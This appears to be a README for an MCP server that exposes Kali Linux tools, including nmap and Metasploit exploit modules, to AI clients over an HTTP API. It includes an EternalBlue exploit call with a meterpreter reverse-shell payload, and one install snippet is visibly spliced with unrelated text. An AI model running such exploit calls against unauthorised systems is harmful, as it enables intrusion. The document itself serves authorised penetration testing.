DARK-MATER-Kali-Linux-MCP-Server

ZYNIQ-AI-Driven-Development-Firm/DARK-MATER-Kali-Linux-MCP-Server

3.3

If you are the rightful owner of DARK-MATER-Kali-Linux-MCP-Server and would like to certify it and/or have it hosted online, please leave a comment on the right or send an email to henry@mcphub.com.

DARK MATER MCP Kali Server is a production-ready security testing platform that leverages the Model Context Protocol (MCP) to integrate with Kali Linux tools for comprehensive security assessments.

Tools
3
Resources
0
Prompts
0

DARK MATER | MCP Kali Server v2.0

๐Ÿ”’ Production-Ready Security Testing Platform

A powerful Model Context Protocol (MCP) server for security testing with Kali Linux tools

๐Ÿข Powered by Zyniq Solutions


๐Ÿš€ Key Features

๐Ÿ” Secure Authentication

Enrollment-based API key system with bearer token authentication

๐Ÿ›ก๏ธ Schema Validation

JSON Schema validation for all tool arguments and responses

๐ŸŽฏ Smart Guardrails

CIDR-based targeting with destructive operation controls

๐Ÿ“ฆ Artifact Storage

Automatic storage and parsing of tool outputs with summaries

๐Ÿง  Memory Hooks

Lightweight observation recording for analysis patterns

๐ŸŒ Remote Access

Ngrok tunneling support for secure remote connectivity

๐Ÿ—๏ธ Architecture Highlights

  • ๐ŸŒ HTTP API: RESTful endpoints for DARK MATER MCP Client integration
  • ๐Ÿ”ง Systemd Integration: Production-ready service with automatic startup
  • ๐Ÿ”’ Optional TLS/mTLS: Support for encrypted connections
  • โšก High Performance: Async FastAPI backend with concurrent tool execution

๐Ÿš€ Quick Start Guide

๐ŸŽฏ Easy Installation & Startup

๐ŸŽฏ Option 1: Automated Installation (Recommended)


1. Install the server (requires root):
curl -sSL https://raw.githubusercontent.com/khalilpreview/MCP-Kali-Server/main/install.sh | sudo bash
2. Start with the CLI tool:
sudo dark-mater_kali-mcp start-server
โš™๏ธ Option 2: Manual Installation


For advanced users or custom deployments

๐Ÿ“– See detailed manual installation steps below

โš™๏ธ Option 2: Manual Installation (If online installer has issues)

  1. Clone the repository:

    # Create directories and user
    sudo useradd --system --home-dir /opt/mcp-kali-server --shell /bin/false mcpserver || true
    sudo mkdir -p /opt/mcp-kali-server
    
    # Clone repository first
    sudo rm -rf /opt/mcp-kali-server/* 2>/dev/null || true
    sudo git clone https://github.com/khalilpreview/MCP-Kali-Server.git /tmp/mcp-kali-server
    sudo cp -r /tmp/mcp-kali-server/* /opt/mcp-kali-server/
    sudo rm -rf /tmp/mcp-kali-server
    sudo chown -R mcpserver:mcpserver /opt/mcp-kali-server
    

    Important: You'll need to push the corrected files to GitHub first:

    # From your Windows development directory:
    git add -A
    git commit -m "Fix ngrok integration and auth dependency issues"
    git push origin main
    
  2. Install dependencies:

    # System dependencies
    sudo apt-get update
    sudo apt-get install -y python3-pip python3-venv python3-dev build-essential git curl nmap sqlite3 ca-certificates python3-requests
    
    # Python environment
    sudo -u mcpserver python3 -m venv /opt/mcp-kali-server/venv
    sudo -u mcpserver /opt/mcp-kali-server/venv/bin/pip install -r /opt/mcp-kali-server/requirements.txt
    
  3. Setup configuration:

    # Create config directories
    sudo mkdir -p /etc/mcp-kali /var/lib/mcp/{artifacts,memory}
    sudo chown -R mcpserver:mcpserver /var/lib/mcp
    
    # Generate enrollment token
    sudo python3 -c "
    import json, secrets, socket, datetime
    server_id = f'kali-{socket.gethostname()}-{int(datetime.datetime.now().timestamp())}'
    token = secrets.token_urlsafe(32)
    data = {'id': server_id, 'token': token, 'created': datetime.datetime.now().isoformat()}
    with open('/etc/mcp-kali/enroll.json', 'w') as f: json.dump(data, f)
    print('Enrollment token created:', data)
    "
    
    # Create scope config
    echo '{"allowed_cidrs":["10.0.0.0/8","192.168.0.0/16","172.16.0.0/12"],"allow_destructive":false}' | sudo tee /etc/mcp-kali/scope.json
    
    # Install CLI tool globally
    sudo chmod +x /opt/mcp-kali-server/dark-mater_kali-mcp
    sudo ln -sf /opt/mcp-kali-server/dark-mater_kali-mcp /usr/local/bin/dark-mater_kali-mcp
    
  4. Start the server:

    sudo dark-mater_kali-mcp start-server
    
๐ŸŽจ CLI Features
๐ŸŽจDARK MATER ASCII banner๐ŸŒInteractive ngrok setup
๐Ÿš€Automatic server startup๐Ÿ“‹Enrollment information display
๐ŸŽ›๏ธInteractive management menu๐Ÿ“ŠReal-time health monitoring

๐ŸŽ›๏ธ CLI Management Tool

The dark-mater_kali-mcp CLI tool provides comprehensive server management
โœจ CLI Features Overview
๐ŸŽจ Beautiful Interface
  • DARK MATER ASCII banner
  • Colored output and progress indicators
  • Interactive menus and prompts
๐Ÿš€ Smart Automation
  • Automatic server startup
  • Health monitoring and status checks
  • Graceful error handling
๐ŸŒ Network Features
  • Interactive ngrok configuration
  • Token management and validation
  • Public URL generation
๐Ÿ“Š Management Tools
  • Real-time enrollment status
  • Server information display
  • Interactive control panel

๐Ÿ–ฅ๏ธ Server Management Commands

๐Ÿ” Check Server Status
๐Ÿ“Š View Server Logs
๐ŸŽฎ Manual Control
๐Ÿ” Check if Server is Running
# Check server process
ps aux | grep kali_server | grep -v grep

# Test server connectivity
curl -sS http://localhost:5000/health

# Check server port
netstat -tlnp | grep :5000
๐Ÿ“Š View Server Logs
# View live logs
tail -f /var/log/mcp-kali-server.log

# View last 50 lines
tail -50 /var/log/mcp-kali-server.log

# Search for errors
grep ERROR /var/log/mcp-kali-server.log
๐ŸŽฎ Manual Server Control
# Start server (without ngrok)
/opt/mcp-kali-server/venv/bin/python /opt/mcp-kali-server/kali_server.py --bind 0.0.0.0:5000

# Start server in background
nohup /opt/mcp-kali-server/venv/bin/python /opt/mcp-kali-server/kali_server.py --bind 0.0.0.0:5000 > /var/log/mcp-kali-server.log 2>&1 &

# Kill server process
pkill -f kali_server.py
- Server restart functionality - Log viewing capabilities - Health testing - Artifacts management - Graceful shutdown

Usage

# Start the server with interactive setup
sudo dark-mater_kali-mcp start-server

# The CLI will guide you through:
# 1. Ngrok token configuration (optional)
# 2. Server startup
# 3. Enrollment information display
# 4. Interactive management menu

๐Ÿงช First Launch & Testing

The server includes an automatic first-launch setup that ensures project integrity:

# First launch automatically runs comprehensive tests
python kali_server.py --bind 0.0.0.0:5000

# Manual test suite execution (anytime)
python tests/run_tests.py

# Test specific components
python tests/unit/test_server.py          # Unit tests
python tests/integration/test_server_live.py  # Integration tests  
python tests/acceptance/test_complete_live_enhanced.py  # End-to-end tests

What happens on first launch:

  1. โœ… Environment Validation - Checks Python version, dependencies, project structure
  2. โœ… Comprehensive Testing - Runs all unit, integration, and acceptance tests
  3. โœ… Project Integrity - Validates all components are working correctly
  4. โœ… Setup Completion - Marks setup as complete for future launches

Test Categories:

  • Unit Tests - Individual component testing (schema validation, core logic)
  • Integration Tests - API endpoints and tool integration testing
  • Acceptance Tests - End-to-end user workflow testing
  • System Tests - LLM integration and system-level testing

Starting the Server

After successful first launch and testing, you have multiple ways to start the server:

๐ŸŽฏ Recommended: CLI Tool (Easy & Interactive)
# Start with the beautiful CLI interface
sudo dark-mater_kali-mcp start-server

This provides:

  • Beautiful DARK MATER ASCII banner
  • Interactive ngrok setup
  • Automatic enrollment display
  • Real-time server management
โš™๏ธ Systemd Service (Background)
# Start as system service
sudo systemctl start mcp-kali-server
sudo systemctl status mcp-kali-server

# Enable auto-start on boot
sudo systemctl enable mcp-kali-server
๐Ÿš€ Direct Execution (Development/Non-systemd)
# Run directly (foreground)
/opt/mcp-kali-server/venv/bin/python /opt/mcp-kali-server/kali_server.py --bind 0.0.0.0:5000

# Background with logging
nohup /opt/mcp-kali-server/venv/bin/python /opt/mcp-kali-server/kali_server.py --bind 0.0.0.0:5000 > /var/log/mcp-kali-server.log 2>&1 &

# With ngrok tunnel (background)
export NGROK_AUTHTOKEN=your_token_here
nohup /opt/mcp-kali-server/venv/bin/python /opt/mcp-kali-server/kali_server.py --bind 0.0.0.0:5000 --ngrok > /var/log/mcp-kali-server.log 2>&1 &

# Check logs
tail -f /var/log/mcp-kali-server.log

๐Ÿ”ง Enhanced CLI Features

The server includes a comprehensive CLI with enhanced authentication information:

# Display comprehensive authentication info
python kali_server.py --show-auth

# Show full server configuration
python kali_server.py --show-config

# Test connection to running server
python kali_server.py --test-connection

# Generate client configurations
python kali_server.py --generate-client-config curl        # Ready-to-use curl commands
python kali_server.py --generate-client-config python      # Python client code
python kali_server.py --generate-client-config powershell  # PowerShell commands
python kali_server.py --generate-client-config json        # JSON configuration

# Enhanced help with examples
python kali_server.py --help

CLI Features:

  • ๐Ÿ” Complete Authentication Display - API keys, server IDs, endpoints
  • ๐Ÿ’ป Ready-to-Use Commands - Generated curl, Python, and PowerShell examples
  • ๐Ÿ” Connection Testing - Validate server health and connectivity
  • โš™๏ธ Configuration Management - View and validate all settings
  • ๐Ÿ“š Self-Documenting - All endpoints and usage examples included
  • ๐ŸŽฏ Multi-Platform Support - Works on Windows, Linux, and macOS

Alternative: Manual Installation

# Download and run the installer
curl -sSL https://raw.githubusercontent.com/khalilpreview/MCP-Kali-Server/main/install.sh | sudo bash

# Or clone and run locally
git clone https://github.com/khalilpreview/MCP-Kali-Server.git
cd MCP-Kali-Server
sudo chmod +x install.sh
sudo ./install.sh

The installer will:

  • Create a dedicated mcpserver user
  • Install the server to /opt/mcp-kali-server
  • Set up systemd service
  • Generate enrollment token
  • Install global CLI tool

Optional: Enable Ngrok Tunneling

For remote access without port forwarding:

  1. Get ngrok auth token from ngrok dashboard

  2. Configure the service:

    sudo systemctl edit mcp-kali-server
    

    Add:

    [Service]
    Environment="NGROK_AUTHTOKEN=your_token_here"
    ExecStart=
    ExecStart=/opt/mcp-kali-server/venv/bin/# Run in development mode
    

python kali_server.py --debug --bind 127.0.0.1:8000

Run with ngrok tunnel for testing

python kali_server.py --debug --bind 127.0.0.1:8000 --ngrok --ngrok-authtoken YOUR_TOKEN


### Adding New Tools
  1. Restart the service:

    sudo systemctl daemon-reload
    sudo systemctl restart mcp-kali-server
    
  2. Get the public URL:

    sudo journalctl -u mcp-kali-server -f | grep "tunnel established"
    

Enrollment

After installation, follow these steps to register your server:

Step 1 โ€” Locate the enrollment token

The installer created this file:

/etc/mcp-kali/enroll.json

Check it:

cat /etc/mcp-kali/enroll.json

You'll see something like:

{"id":"kali-host-1727890000","token":"AbCdEfGh123XYZ","created":"2025-10-02T12:00:00Z"}
Step 2 โ€” Call the enroll endpoint

With the server running, send a POST to /enroll with that ID + token. Example:

curl -sS -X POST http://localhost:5000/enroll \
  -H "Content-Type: application/json" \
  -d '{"id":"kali-host-1727890000","token":"AbCdEfGh123XYZ","label":"Kali-Lab-1"}'
Step 3 โ€” Get your API key

The server should respond like this:

{
  "server_id": "kali-host-1727890000",
  "api_key": "3qP7eD9xL0...<long-random-key>...",
  "label": "Kali-Lab-1"
}

That api_key is what you'll use in the Authorization: Bearer <api_key> header for all other endpoints (/health, /tools/list, /tools/call, /artifacts/...).

Step 4 โ€” Verify it works
curl -sS http://localhost:5000/health \
  -H "Authorization: Bearer <api_key>"

If you see { "ok": true, ... }, your server is properly registered and ready.

API Usage

Health Check

curl -H "Authorization: Bearer YOUR_API_KEY" \
  "http://SERVER_IP:5000/health"

List Available Tools

curl -H "Authorization: Bearer YOUR_API_KEY" \
  "http://SERVER_IP:5000/tools/list"

Execute Network Scan

curl -X POST "http://SERVER_IP:5000/tools/call" \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "net.scan_basic",
    "arguments": {
      "target": "192.168.1.1",
      "fast": true
    }
  }'

List Artifacts

curl -H "Authorization: Bearer YOUR_API_KEY" \
  "http://SERVER_IP:5000/artifacts/list?limit=10"

Read Artifact

curl -H "Authorization: Bearer YOUR_API_KEY" \
  "http://SERVER_IP:5000/artifacts/read?uri=artifact://server-id/run-id/raw.xml"

Configuration

Scope Configuration

Edit /etc/mcp-kali/scope.json to control targeting and destructive operations:

{
  "allowed_cidrs": [
    "10.0.0.0/8",
    "192.168.0.0/16", 
    "172.16.0.0/12"
  ],
  "allow_destructive": false
}
  • allowed_cidrs: List of CIDR ranges that tools can target
  • allow_destructive: Whether to allow potentially destructive operations

TLS Configuration

Enable TLS with environment variables:

# Server TLS (HTTPS)
export MCP_TLS_CERT="/path/to/server.crt"
export MCP_TLS_KEY="/path/to/server.key"

# Mutual TLS (client certificates required)
export MCP_MTLS_CA="/path/to/ca.crt"

# Restart the service
sudo systemctl restart mcp-kali-server

Available Tools

net.scan_basic

Basic network scanning using nmap with safety constraints.

Schema: /schemas/tools/net_scan_basic.json

Arguments:

  • target (required): IP address, hostname, or CIDR range
  • ports (optional): Port specification (e.g., "80,443" or "1-1000")
  • fast (optional): Use fast scan mode (default: true)

Example:

{
  "name": "net.scan_basic",
  "arguments": {
    "target": "192.168.1.0/24",
    "ports": "22,80,443",
    "fast": true
  }
}

metasploit.exploit

Metasploit exploit module execution with comprehensive safety controls.

Schema: /schemas/tools/metasploit_exploit.json

Arguments:

  • module (required): Metasploit exploit module path (e.g., "exploit/windows/smb/ms17_010_eternalblue")
  • target (required): Target IP address or hostname
  • payload (optional): Payload to use (default: "generic/shell_reverse_tcp")
  • lhost (optional): Local host for reverse connections (default: "127.0.0.1")
  • lport (optional): Local port for reverse connections (default: 4444)
  • rport (optional): Remote port on target (default: 445)
  • check_only (recommended): Only check vulnerability, don't exploit (default: true)
  • safe_mode (recommended): Enable additional safety checks (default: true)
  • timeout (optional): Execution timeout in seconds (default: 180)

Safe Example (Vulnerability Check):

{
  "name": "metasploit.exploit",
  "arguments": {
    "module": "exploit/windows/smb/ms17_010_eternalblue",
    "target": "192.168.1.100",
    "check_only": true,
    "safe_mode": true
  }
}

โš ๏ธ Advanced Example (Requires allow_destructive: true):

{
  "name": "metasploit.exploit",
  "arguments": {
    "module": "exploit/windows/smb/ms17_010_eternalblue",
    "target": "192.168.1.100",
    "payload": "windows/meterpreter/reverse_tcp",
    "lhost": "192.168.1.50",
    "lport": 4444,
    "check_only": false,
    "safe_mode": false
  }
}

metasploit.auxiliary

Metasploit auxiliary modules for scanning, enumeration, and reconnaissance.

Schema: /schemas/tools/metasploit_auxiliary.json

Arguments:

  • module (required): Auxiliary module path (e.g., "auxiliary/scanner/smb/smb_version")
  • target (required): Target IP address, hostname, or CIDR range
  • rport (optional): Remote port on target system
  • threads (optional): Number of concurrent threads (default: 10)
  • timeout (optional): Execution timeout in seconds (default: 300)
  • options (optional): Additional module-specific options

Example:

{
  "name": "metasploit.auxiliary",
  "arguments": {
    "module": "auxiliary/scanner/smb/smb_version",
    "target": "192.168.1.0/24",
    "threads": 20,
    "options": {
      "ShowProgress": "true"
    }
  }
}

Common Safe Auxiliary Modules:

  • auxiliary/scanner/smb/smb_version - SMB version detection
  • auxiliary/scanner/ssh/ssh_version - SSH version banner
  • auxiliary/scanner/http/http_version - HTTP server detection
  • auxiliary/scanner/discovery/arp_sweep - ARP-based host discovery
  • auxiliary/scanner/portscan/tcp - TCP port scanning

Project Structure

mcp-kali-server/               # Project root
โ”œโ”€โ”€ kali_server.py             # ๐Ÿš€ Main server entrypoint with enhanced CLI
โ”œโ”€โ”€ setup_first_launch.py     # ๐Ÿงช First launch setup and test runner
โ”œโ”€โ”€ mcp_server/                # ๐Ÿ“ฆ Core server package
โ”‚   โ”œโ”€โ”€ api.py                 # FastAPI application with all endpoints
โ”‚   โ”œโ”€โ”€ auth.py                # Authentication & enrollment system
โ”‚   โ”œโ”€โ”€ artifacts.py           # Artifact storage & parsing
โ”‚   โ”œโ”€โ”€ memory.py              # Memory and observation recording
โ”‚   โ”œโ”€โ”€ scope.py               # Security guardrails & validation
โ”‚   โ”œโ”€โ”€ tools.py               # Tool execution engine
โ”‚   โ”œโ”€โ”€ util.py                # Utilities & schema validation
โ”‚   โ””โ”€โ”€ schemas/               # JSON schemas for tool validation
โ”‚       โ””โ”€โ”€ tools/
โ”‚           โ”œโ”€โ”€ net_scan_basic.json      # Network scanning
โ”‚           โ”œโ”€โ”€ web_nikto.json           # Web vulnerability scanning
โ”‚           โ”œโ”€โ”€ web_dirb.json            # Directory bruteforcing
โ”‚           โ”œโ”€โ”€ ssl_sslyze.json          # SSL/TLS analysis
โ”‚           โ”œโ”€โ”€ net_masscan.json         # High-speed port scanning
โ”‚           โ”œโ”€โ”€ metasploit_exploit.json  # Exploit modules
โ”‚           โ””โ”€โ”€ metasploit_auxiliary.json # Auxiliary modules
โ”œโ”€โ”€ mcp_tools/                 # ๐Ÿ”ง Extended tool implementations
โ”‚   โ”œโ”€โ”€ manager.py             # Tool registry and management
โ”‚   โ”œโ”€โ”€ ai_analyzer.py         # AI-powered result analysis
โ”‚   โ””โ”€โ”€ [additional tools]     # Extended security tools
โ”œโ”€โ”€ tests/                     # ๐Ÿงช Comprehensive test suite
โ”‚   โ”œโ”€โ”€ run_tests.py           # Main test runner (run this first!)
โ”‚   โ”œโ”€โ”€ README.md              # Test documentation
โ”‚   โ”œโ”€โ”€ unit/                  # Unit tests for components
โ”‚   โ”‚   โ”œโ”€โ”€ test_server.py     # Core server functionality
โ”‚   โ”‚   โ”œโ”€โ”€ test_schema.py     # Schema validation testing
โ”‚   โ”‚   โ””โ”€โ”€ test_schema_validation.py # Validation system tests
โ”‚   โ”œโ”€โ”€ integration/           # API and integration tests
โ”‚   โ”‚   โ”œโ”€โ”€ test_server_live.py        # Live server testing
โ”‚   โ”‚   โ”œโ”€โ”€ test_production_api.py     # Production API testing
โ”‚   โ”‚   โ”œโ”€โ”€ test_llm_config.py         # LLM integration testing
โ”‚   โ”‚   โ””โ”€โ”€ [additional integration tests]
โ”‚   โ”œโ”€โ”€ acceptance/            # End-to-end acceptance tests
โ”‚   โ”‚   โ””โ”€โ”€ test_complete_live_enhanced.py # Full system testing
โ”‚   โ””โ”€โ”€ system/                # System-level tests
โ”‚       โ”œโ”€โ”€ test_llm_integration.py    # LLM system integration
โ”‚       โ””โ”€โ”€ test_llm_system.py         # LLM system functionality
โ”œโ”€โ”€ demos/                     # ๐Ÿ“‹ Demo scripts and examples
โ”‚   โ”œโ”€โ”€ README.md              # Demo documentation
โ”‚   โ”œโ”€โ”€ demo_credentials.py    # Authentication information display
โ”‚   โ”œโ”€โ”€ demo_monitored_server.py # Server with comprehensive monitoring
โ”‚   โ”œโ”€โ”€ demo_simple_server.py  # Windows-compatible server
โ”‚   โ”œโ”€โ”€ demo_logs.py           # Logging demonstration
โ”‚   โ””โ”€โ”€ demo_llm_config.py     # LLM configuration examples
โ”œโ”€โ”€ requirements.txt           # Python dependencies
โ”œโ”€โ”€ install.sh                 # Installation script
โ””โ”€โ”€ README.md                  # This file

# Runtime Configuration & Data
~/.mcp-kali/                   # User configuration directory
โ”œโ”€โ”€ credentials.json           # API credentials
โ”œโ”€โ”€ enroll.json               # Enrollment tokens
โ”œโ”€โ”€ scope.json                # Security scope configuration
โ”œโ”€โ”€ memory/                   # Memory database
โ”‚   โ””โ”€โ”€ observations.db       # SQLite database
โ””โ”€โ”€ audit/                    # Audit logs
    โ””โ”€โ”€ audit.db              # Audit trail database

# Artifact Storage
/var/lib/mcp/                 # System-wide data directory
โ”œโ”€โ”€ artifacts/               # Tool output storage
โ”‚   โ””โ”€โ”€ {server-id}/
โ”‚       โ””โ”€โ”€ {run-id}/
โ”‚           โ”œโ”€โ”€ raw.xml       # Raw tool output
โ”‚           โ”œโ”€โ”€ summary.txt   # Auto-generated summary
โ”‚           โ”œโ”€โ”€ parsed.json   # Parsed structured data
โ”‚           โ””โ”€โ”€ metadata.json # Artifact metadata
โ””โ”€โ”€ logs/                    # System logs
    โ””โ”€โ”€ server.log           # Server operation logs

Service Management

# Check service status
sudo systemctl status mcp-kali-server

# View logs
sudo journalctl -u mcp-kali-server -f

# Restart service
sudo systemctl restart mcp-kali-server

# Stop service
sudo systemctl stop mcp-kali-server

# Disable service
sudo systemctl disable mcp-kali-server

Testing Connection

Test the complete workflow:

#!/bin/bash
SERVER_IP="192.168.1.100"
API_KEY="your-api-key-here"

# 1. Health check
echo "Testing health endpoint..."
curl -s -H "Authorization: Bearer ${API_KEY}" \
  "http://${SERVER_IP}:5000/health" | jq

# 2. List tools
echo -e "\nListing available tools..."
curl -s -H "Authorization: Bearer ${API_KEY}" \
  "http://${SERVER_IP}:5000/tools/list" | jq

# 3. Run scan
echo -e "\nRunning network scan..."
curl -s -X POST "http://${SERVER_IP}:5000/tools/call" \
  -H "Authorization: Bearer ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "net.scan_basic",
    "arguments": {
      "target": "127.0.0.1",
      "fast": true
    }
  }' | jq

# 4. List artifacts
echo -e "\nListing artifacts..."
curl -s -H "Authorization: Bearer ${API_KEY}" \
  "http://${SERVER_IP}:5000/artifacts/list" | jq

# 5. Check memory
echo -e "\nChecking memory stats..."
curl -s -H "Authorization: Bearer ${API_KEY}" \
  "http://${SERVER_IP}:5000/memory/stats" | jq

๐Ÿค– AI-Powered Analysis

The MCP Kali Server includes intelligent analysis capabilities powered by Ollama AI models. This feature provides automated insights, recommendations, and executive summaries of your security testing activities.

Setup AI Analysis

  1. Install Ollama on your system:
# Linux/WSL
curl -fsSL https://ollama.ai/install.sh | sh

# Start Ollama service
ollama serve
  1. Download a model (recommended: llama2 or codellama):
ollama pull llama2
  1. Configure environment variables (optional):
export OLLAMA_URL="http://localhost:11434"
export OLLAMA_MODEL="llama2"

AI Analysis Features

๐Ÿ” Job Analysis

Analyzes completed tool executions and provides structured insights:

# Analyze a completed job
curl -X POST -H "Authorization: Bearer ${API_KEY}" \
  "http://${SERVER_IP}:5000/tools/jobs/${JOB_ID}/analyze"

Response includes:

  • Summary: High-level overview of what was discovered
  • Findings: Detailed security findings and vulnerabilities
  • Severity: Risk assessment (Critical/High/Medium/Low/Info)
  • Recommendations: Suggested next steps for testing
  • Context: Security posture implications
๐ŸŽฏ Smart Tool Suggestions

Get AI recommendations for next tools to run based on current findings:

# Get tool suggestions based on scan results  
curl -H "Authorization: Bearer ${API_KEY}" \
  "http://${SERVER_IP}:5000/tools/jobs/${JOB_ID}/suggestions"

Example response:

{
  "suggestions": [
    {
      "tool": "nikto",
      "reason": "Web server detected on port 80, recommend vulnerability scanning",
      "priority": "High"
    },
    {
      "tool": "gobuster",
      "reason": "Directory enumeration to discover hidden web content",
      "priority": "Medium"
    }
  ]
}
๐Ÿ“‹ Executive Summaries

Generate comprehensive summaries for multiple completed jobs:

# Generate executive summary for all jobs
curl -X POST -H "Authorization: Bearer ${API_KEY}" \
  -H "Content-Type: application/json" \
  "http://${SERVER_IP}:5000/tools/analysis/executive-summary"

# Generate summary for specific jobs
curl -X POST -H "Authorization: Bearer ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"job_ids": ["job-123", "job-456", "job-789"]}' \
  "http://${SERVER_IP}:5000/tools/analysis/executive-summary"

Executive Summary includes:

  • Overview: High-level summary of testing activities
  • Critical Findings: Most important security issues discovered
  • Risk Assessment: Overall security posture evaluation
  • Business Impact: Potential organizational impact
  • Recommendations: Priority remediation steps

AI Configuration

The AI analysis system can be customized through environment variables:

# Ollama server URL (default: http://localhost:11434)
export OLLAMA_URL="http://your-ollama-server:11434"

# AI model to use (default: llama2)
export OLLAMA_MODEL="codellama"  # or "mistral", "neural-chat", etc.

# Analysis timeout (optional)
export AI_ANALYSIS_TIMEOUT="120"

Supported Models

The system works with various Ollama models:

  • llama2: General-purpose analysis (recommended)
  • codellama: Enhanced code and technical analysis
  • mistral: Fast and efficient analysis
  • neural-chat: Conversational analysis style
  • Custom models: Any Ollama-compatible model

Example Workflow

  1. Run a network scan:
JOB_ID=$(curl -X POST -H "Authorization: Bearer ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"name":"nmap.scan","arguments":{"target":"192.168.1.100"}}' \
  "http://${SERVER_IP}:5000/tools/call" | jq -r '.job_id')
  1. Wait for completion and analyze:
# Check job status
curl -H "Authorization: Bearer ${API_KEY}" \
  "http://${SERVER_IP}:5000/tools/jobs/${JOB_ID}/status"

# Analyze results with AI
curl -X POST -H "Authorization: Bearer ${API_KEY}" \
  "http://${SERVER_IP}:5000/tools/jobs/${JOB_ID}/analyze" | jq
  1. Get next tool suggestions:
curl -H "Authorization: Bearer ${API_KEY}" \
  "http://${SERVER_IP}:5000/tools/jobs/${JOB_ID}/suggestions" | jq
  1. Generate executive summary:
curl -X POST -H "Authorization: Bearer ${API_KEY}" \
  "http://${SERVER_IP}:5000/tools/analysis/executive-summary" | jq

๐Ÿง  LLM Configuration & Knowledge Management

The MCP Kali Server includes a comprehensive LLM configuration system that allows dashboards and AI services to store and retrieve:

  • System prompts and guardrails for AI assistants
  • Knowledge documents and searchable chunks for context
  • Conversation memory per thread
  • Live server context for dynamic responses

LLM Configuration API

Get/Update LLM Configuration
# Get current LLM configuration
curl -H "Authorization: Bearer ${API_KEY}" \
  "http://${SERVER_IP}:5000/llm/config"

# Update configuration with optimistic concurrency
curl -X PUT -H "Authorization: Bearer ${API_KEY}" \
  -H "Content-Type: application/json" \
  -H "If-Match: c4f1c5f5" \
  -d '{
    "system_prompt": "You are a security testing assistant for Kali-Lab-01...",
    "guardrails": {
      "disallowed": ["secrets", "credentials"],
      "style": "concise",
      "max_tokens_hint": 200
    },
    "runtime_hints": {
      "preferred_model": "phi3:mini",
      "num_ctx": 768,
      "temperature": 0.2
    },
    "tools_allowed": ["nmap.scan", "nikto.scan"]
  }' \
  "http://${SERVER_IP}:5000/llm/config"
Knowledge Management
# Create knowledge document
DOC_ID=$(curl -X POST -H "Authorization: Bearer ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"title": "SSH Security Guide", "source": "manual:ssh", "tags": ["ssh", "security"]}' \
  "http://${SERVER_IP}:5000/llm/knowledge/docs" | jq -r '.doc_id')

# Add text chunks
curl -X POST -H "Authorization: Bearer ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{
    "chunks": [
      "SSH keys provide better security than passwords",
      "Use ssh-keygen -t ed25519 to generate modern keys",
      "Disable password authentication in /etc/ssh/sshd_config"
    ]
  }' \
  "http://${SERVER_IP}:5000/llm/knowledge/docs/${DOC_ID}/chunks"

# Search knowledge base
curl -H "Authorization: Bearer ${API_KEY}" \
  "http://${SERVER_IP}:5000/llm/knowledge/search?q=ssh%20keys&top_k=3"
Conversation Memory
# Append conversation turn
curl -X POST -H "Authorization: Bearer ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{
    "thread_id": "chat-session-123",
    "role": "user",
    "content": "How do I scan for SSH vulnerabilities?",
    "meta": {"ip": "192.168.1.100"}
  }' \
  "http://${SERVER_IP}:5000/memory/append"

# Retrieve conversation with context
curl -H "Authorization: Bearer ${API_KEY}" \
  "http://${SERVER_IP}:5000/memory/retrieve?thread_id=chat-session-123&q=ssh%20scanning&limit=10"

# Summarize conversation
curl -X POST -H "Authorization: Bearer ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{
    "thread_id": "chat-session-123",
    "summary": "User asked about SSH vulnerability scanning. Discussed nmap scripts and recommended security hardening."
  }' \
  "http://${SERVER_IP}:5000/memory/summarize"
Live Context
# Get dynamic server context
curl -H "Authorization: Bearer ${API_KEY}" \
  "http://${SERVER_IP}:5000/llm/context"

Response Example:

{
  "server_id": "kali-lab-01",
  "uptime": "3 days, 4:11",
  "alerts": [],
  "services": [
    {"name": "ssh", "state": "active"},
    {"name": "postgres", "state": "inactive"}
  ],
  "disk_usage": "75.5% (100 GB free)",
  "last_scan": "2025-10-05T10:30:00Z"
}

JWT Authentication for Dashboards

# Get JWT token using API key
JWT_TOKEN=$(curl -X POST -H "Content-Type: application/json" \
  -d '{"api_key": "'${API_KEY}'"}' \
  "http://${SERVER_IP}:5000/auth/token" | jq -r '.access_token')

# Use JWT token for subsequent requests
curl -H "Authorization: Bearer ${JWT_TOKEN}" \
  "http://${SERVER_IP}:5000/llm/config"

Integration with AI Services

The LLM configuration system is designed to support dashboard applications and AI services by providing:

  1. Authoritative Configuration: Server stores the definitive system prompt and guardrails
  2. Contextual Knowledge: Searchable knowledge base with BM25 full-text search
  3. Conversation Continuity: Thread-based memory with semantic search
  4. Dynamic Context: Live server status for context-aware responses
  5. Security Controls: JWT authentication and optimistic concurrency control

Database Schema

The system uses SQLite with FTS5 for efficient text search:

-- LLM Configuration
CREATE TABLE llm_config (
    server_id TEXT PRIMARY KEY,
    system_prompt TEXT NOT NULL,
    guardrails TEXT NOT NULL,     -- JSON
    runtime_hints TEXT NOT NULL, -- JSON  
    tools_allowed TEXT NOT NULL, -- JSON array
    etag TEXT NOT NULL
);

-- Knowledge Documents & Chunks with FTS5 search
CREATE TABLE knowledge_docs (
    doc_id TEXT PRIMARY KEY,
    server_id TEXT NOT NULL,
    title TEXT NOT NULL,
    source TEXT,
    tags TEXT -- JSON array
);

CREATE VIRTUAL TABLE knowledge_fts USING fts5(
    chunk_id UNINDEXED,
    doc_id UNINDEXED, 
    source UNINDEXED,
    text
);

-- Conversation Memory
CREATE TABLE conversation_memory (
    id INTEGER PRIMARY KEY,
    server_id TEXT NOT NULL,
    thread_id TEXT NOT NULL,
    role TEXT CHECK (role IN ('user', 'assistant', 'system')),
    content TEXT NOT NULL,
    meta TEXT -- JSON metadata
);

DARK MATER MCP Client

This server is designed to work seamlessly with the DARK MATER MCP Client - a sophisticated dashboard for managing multiple MCP servers and coordinating security testing operations.

Key Integration Features

  • ๐Ÿ”— Automatic Discovery: The client can discover and connect to MCP servers
  • ๐ŸŽฏ Centralized Management: Control multiple Kali servers from one interface
  • ๐Ÿ“Š Real-time Monitoring: Live server status and health monitoring
  • ๐Ÿ› ๏ธ Tool Orchestration: Execute security tools across multiple servers
  • ๐Ÿ“ Artifact Management: Centralized collection and analysis of results
  • ๐Ÿง  Knowledge Base: Shared memory and findings across servers
